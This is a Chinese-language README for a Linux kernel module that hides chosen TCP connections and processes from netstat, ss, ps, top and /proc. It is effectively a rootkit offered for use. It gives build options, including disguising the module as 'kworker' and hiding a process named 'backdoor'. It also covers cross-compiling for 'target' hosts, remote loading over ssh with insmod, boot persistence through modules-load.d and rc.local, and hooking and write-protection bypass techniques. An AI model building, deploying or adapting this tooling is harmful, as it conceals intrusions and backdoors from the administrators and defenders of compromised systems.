Linux 内核模块,从系统工具中隐藏指定的 TCP 连接和进程。
网络隐藏 — 对 netstat、ss、lsof、cat /proc/net/tcp(6) 不可见
进程隐藏 — 对 ps、top、htop、ls /proc 不可见
双栈支持 — IPv4 / IPv6
x86_64 Linux,需要 GCC、Make 和当前内核的头文件。
# Debian / Ubuntu
apt install -y build-essential linux-headers-$(uname -r)
# CentOS / RHEL 7
yum install -y gcc make kernel-devel-$(uname -r)
# CentOS / RHEL 8+ / Fedora
dnf install -y gcc make kernel-devel-$(uname -r)验证头文件就位:ls /lib/modules/$(uname -r)/build/Makefile
| 发行版 | 内核版本 | 网络隐藏 | 进程隐藏 |
|---|---|---|---|
| CentOS 7 | 3.10.x | ✅ | ✅ |
| Debian 11 | 5.10.x | ✅ | ✅ |
| Ubuntu 22.04 | 5.15.x | ✅ | ✅ |
| 6.x 系列 | 6.1+ | ✅ | ✅ |
# 编译(隐藏SSH连接 + sshd进程)
make RULES="22,-,-,-" PROC="sshd"
# 加载
sudo make install
# 卸载
sudo make uninstall
# 清理(修改配置前必须先执行)
make clean| 参数 | 说明 | 默认值 |
|---|---|---|
RULES |
网络隐藏规则(分号分隔多条) | 空(不隐藏) |
PROC |
进程隐藏列表(逗号分隔多个) | 空(不隐藏) |
MOD |
自定义模块名(生成 MOD.ko,dmesg 前缀随之变化) |
hidemod |
DEBUG |
调试日志(1=启用,0=关闭) |
0 |
KDIR |
内核构建路径(交叉编译时指定) | /lib/modules/$(uname -r)/build |
sport,dport,saddr,daddr
sport/dport:端口号,-表示不过滤saddr/daddr:IPv4 或 IPv6 地址,-表示不过滤- 多条规则用分号
;分隔
# 隐藏所有SSH连接(源端口22)
make RULES="22,-,-,-"
# 隐藏到Web服务器的连接(目标端口80和443)
make RULES="-,80,-,-;-,443,-,-"
# 隐藏来自特定IP的所有连接
make RULES="-,-,192.168.1.100,-"
# 隐藏特定IPv6地址的连接
make RULES="-,-,240e:39a:323:e50::1,-"
# 只隐藏进程,不隐藏网络
make PROC="myagent,backdoor"
# 隐藏SSH连接 + sshd + sftp-server进程,自定义模块名
make MOD=kworker RULES="22,-,-,-" PROC="sshd,sftp-server"
# 启用调试日志
make RULES="22,-,-,-" PROC="sshd" DEBUG=1# 网络隐藏
netstat -tlnp # 被隐藏的连接不应出现
ss -tlnp # 同上
cat /proc/net/tcp # 同上
# 进程隐藏
ps aux | grep sshd # 被隐藏的进程不应出现
ls /proc | sort -n # 被隐藏的 PID 目录不应出现make help将 .ko 在开发机上编译好,传输到目标主机加载。
⚠️ 编译机的发行版必须与目标机一致或尽量接近。内核模块编译不仅依赖内核头文件,还受 GCC 版本、工具链、系统头文件影响。跨度过大的组合(如在 Ubuntu 24.04 上为 CentOS 7 编译)几乎一定失败:
- GCC 版本不匹配:目标内核的
vermagic记录了编译器版本,版本差距过大会产生不兼容的目标代码或编译报错- 工具链差异:
binutils、ld版本可能与内核构建系统预期不一致- 系统头文件冲突:内核头文件中某些路径会回退到系统头文件,跨发行版时可能引入不一致的类型定义
推荐做法:
- CentOS 7 目标 → CentOS 7 编译(或 Docker
centos:7)- Debian 11 目标 → Debian 11 或 12 编译
- Ubuntu 22.04 目标 → Ubuntu 22.04 或 20.04 编译
无需搭建编译环境,一条命令完成:
# 目标机 CentOS 7
docker run -it --rm -v $(pwd):/src centos:7 bash
yum install -y gcc make kernel-devel-3.10.0-1160.el7.x86_64
cd /src && make RULES="22,-,-,-" PROC="sshd" MOD=kworker
# 目标机 Debian 11
docker run -it --rm -v $(pwd):/src debian:11 bash
apt update && apt install -y build-essential linux-headers-5.10.0-20-amd64
cd /src && make RULES="22,-,-,-" PROC="sshd" MOD=kworker
# 目标机 Ubuntu 22.04
docker run -it --rm -v $(pwd):/src ubuntu:22.04 bash
apt update && apt install -y build-essential linux-headers-5.15.0-50-generic
cd /src && make RULES="22,-,-,-" PROC="sshd" MOD=kworker编译完成后 kworker.ko 在当前目录,直接传到目标机加载。
1. 获取目标主机信息
# 在目标主机上执行
uname -r # 内核版本,如 3.10.0-1160.el7.x86_64
cat /etc/os-release # 发行版
cat /proc/version # 编译内核时的 GCC 版本2. 在编译机上安装目标内核头文件
编译机与目标机同发行版时,直接安装:
# Debian / Ubuntu
apt install linux-headers-5.10.0-20-amd64
# CentOS / RHEL
yum install kernel-devel-3.10.0-1160.el7.x86_64目标机无法安装头文件或离线环境,只要知道 uname -r 即可从包仓库下载:
# CentOS — 下载 rpm
yumdownloader kernel-devel-3.10.0-1160.el7.x86_64
# 或从 vault 手动下载
wget https://vault.centos.org/7.9.2009/os/x86_64/Packages/kernel-devel-3.10.0-1160.el7.x86_64.rpm
# Debian / Ubuntu — 下载 deb
apt download linux-headers-5.10.0-20-amd64
# 或从 packages.debian.org / packages.ubuntu.com 手动下载传到编译机后安装或仅解压:
# 安装
rpm -ivh kernel-devel-*.rpm # CentOS
dpkg -i linux-headers-*.deb # Debian
# 仅解压(不污染编译机系统)
mkdir -p /opt/target-headers
rpm2cpio kernel-devel-*.rpm | (cd /opt/target-headers && cpio -idmv)
# 头文件在 /opt/target-headers/usr/src/kernels/3.10.0-xxx/
# Debian
dpkg -x linux-headers-*.deb /opt/target-headers/
# 头文件在 /opt/target-headers/usr/src/linux-headers-xxx/从目标主机拷贝(如果目标机已有头文件):
# 目标主机上打包
tar czf kernel-headers.tar.gz -C /lib/modules/$(uname -r) build source 2>/dev/null
# 编译机上解压
KVER=3.10.0-1160.el7.x86_64
mkdir -p /lib/modules/$KVER
tar xzf kernel-headers.tar.gz -C /lib/modules/$KVER注意:某些发行版(如 CentOS)的
build是指向source的符号链接,需确保两者都拷贝且链接关系正确。
目标机运行自编译内核时,从源码生成头文件:
# 获取目标机的内核配置
scp target:/boot/config-$(uname -r) target.config
# 或: cat /proc/config.gz | gunzip > target.config
# 下载对应版本源码
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.10.tar.xz
tar xf linux-5.10.tar.xz && cd linux-5.10
# 仅生成头文件(不编译内核,几分钟)
cp ../target.config .config
make oldconfig && make modules_prepare3. 编译
# KDIR 指向目标内核头文件路径
make KDIR=/lib/modules/3.10.0-1160.el7.x86_64/build \
RULES="22,-,-,-" PROC="sshd" MOD=kworker
# 或解压到非标准路径时
make KDIR=/opt/target-headers/usr/src/kernels/3.10.0-1160.el7.x86_64 \
RULES="22,-,-,-" PROC="sshd" MOD=kworker4. 传输并加载
scp kworker.ko target:/tmp/
ssh target "insmod /tmp/kworker.ko"/lib/modules/.../build: No such file or directory — 未安装目标内核头文件,按上述步骤安装。
version magic ... should be ... — 头文件版本与目标内核不匹配。modinfo xxx.ko 查看 vermagic,必须与 uname -r 完全一致。
gcc: error: unrecognized command line option '-mXXX' — 编译机 GCC 版本与目标内核差距过大。最可靠的解决方式是使用与目标机相同发行版的 Docker 容器编译。
编译完成后只需要一个 .ko 文件,目标主机不需要源码、Makefile 或头文件。
# 传输并加载
scp kworker.ko user@target:/tmp/
ssh user@target "sudo insmod /tmp/kworker.ko"
# 验证
ssh user@target "lsmod | grep kworker"
# 查看日志(仅 DEBUG=1 时有输出)
ssh user@target "sudo dmesg | tail -20"
# 卸载
ssh user@target "sudo rmmod kworker"# 方法1:内核模块目录(systemd 系统)
sudo cp kworker.ko /lib/modules/$(uname -r)/extra/
sudo depmod -a
echo "kworker" | sudo tee /etc/modules-load.d/kworker.conf
# 方法2:rc.local(无 systemd 的旧系统)
echo "insmod /opt/kworker.ko" >> /etc/rc.local- 内核升级后
.ko必须重新编译,版本不匹配会拒绝加载 modinfo kworker.ko查看vermagic,与uname -r对比确认insmod失败时dmesg | tail查看原因insmod -f可强制加载版本不匹配的模块,但极不推荐,可能导致内核崩溃
通过 hook 内核的 tcp4_seq_show / tcp6_seq_show(netstat 路径)和 recvmsg(ss 路径)实现:
| 内核版本 | netstat / cat /proc/net/tcp | ss |
|---|---|---|
| 3.10 - 3.19 | 直接替换 seq_operations.show |
syscall_table hook recvmsg |
| 3.20 - 4.8 | 直接替换 seq_operations.show |
❌ 无隐藏 |
| 4.9 - 4.16 | ftrace hook tcp4/tcp6_seq_show |
ftrace hook sys_recvmsg |
| 4.17+ | ftrace hook tcp4/tcp6_seq_show |
ftrace hook __x64_sys_recvmsg(pt_regs) |
通过替换 /proc 目录的 iterate_shared / iterate / readdir 回调实现:
| 内核版本 | Hook 方式 |
|---|---|
| 3.10 | file_operations.readdir + filldir_t |
| 3.11 - 4.6 | file_operations.iterate + dir_context |
| 4.7+ | file_operations.iterate_shared + dir_context |
| 6.1+ | filldir_t 返回类型由 int 变为 bool |
写保护绕过:通过 lookup_address() 直接修改页表项 _PAGE_RW 位 + invlpg 刷新 TLB,兼容 5.10+ 内核对 CR0.WP 的保护。
Makefile 在编译时自动生成 config.h,通过 RULE_COUNT / PROC_RULE_COUNT 控制条件编译。当计数为 0 时对应子模块编译为空函数,零开销。修改配置需先 make clean 再重新编译。
- 仅支持 x86_64 架构(进程隐藏依赖 x86 页表操作和
invlpg指令) - 仅支持 TCP 连接隐藏(不支持 UDP)
- 规则只能在编译时配置,不支持运行时动态更新
- 进程名匹配基于
task->comm,最长 15 字符 iptables/nftables规则查看不受影响(使用不同的内核路径)- 3.20 - 4.8 内核不支持 ss 隐藏(netstat 隐藏正常工作)
- 内核升级后必须使用新内核的头文件重新编译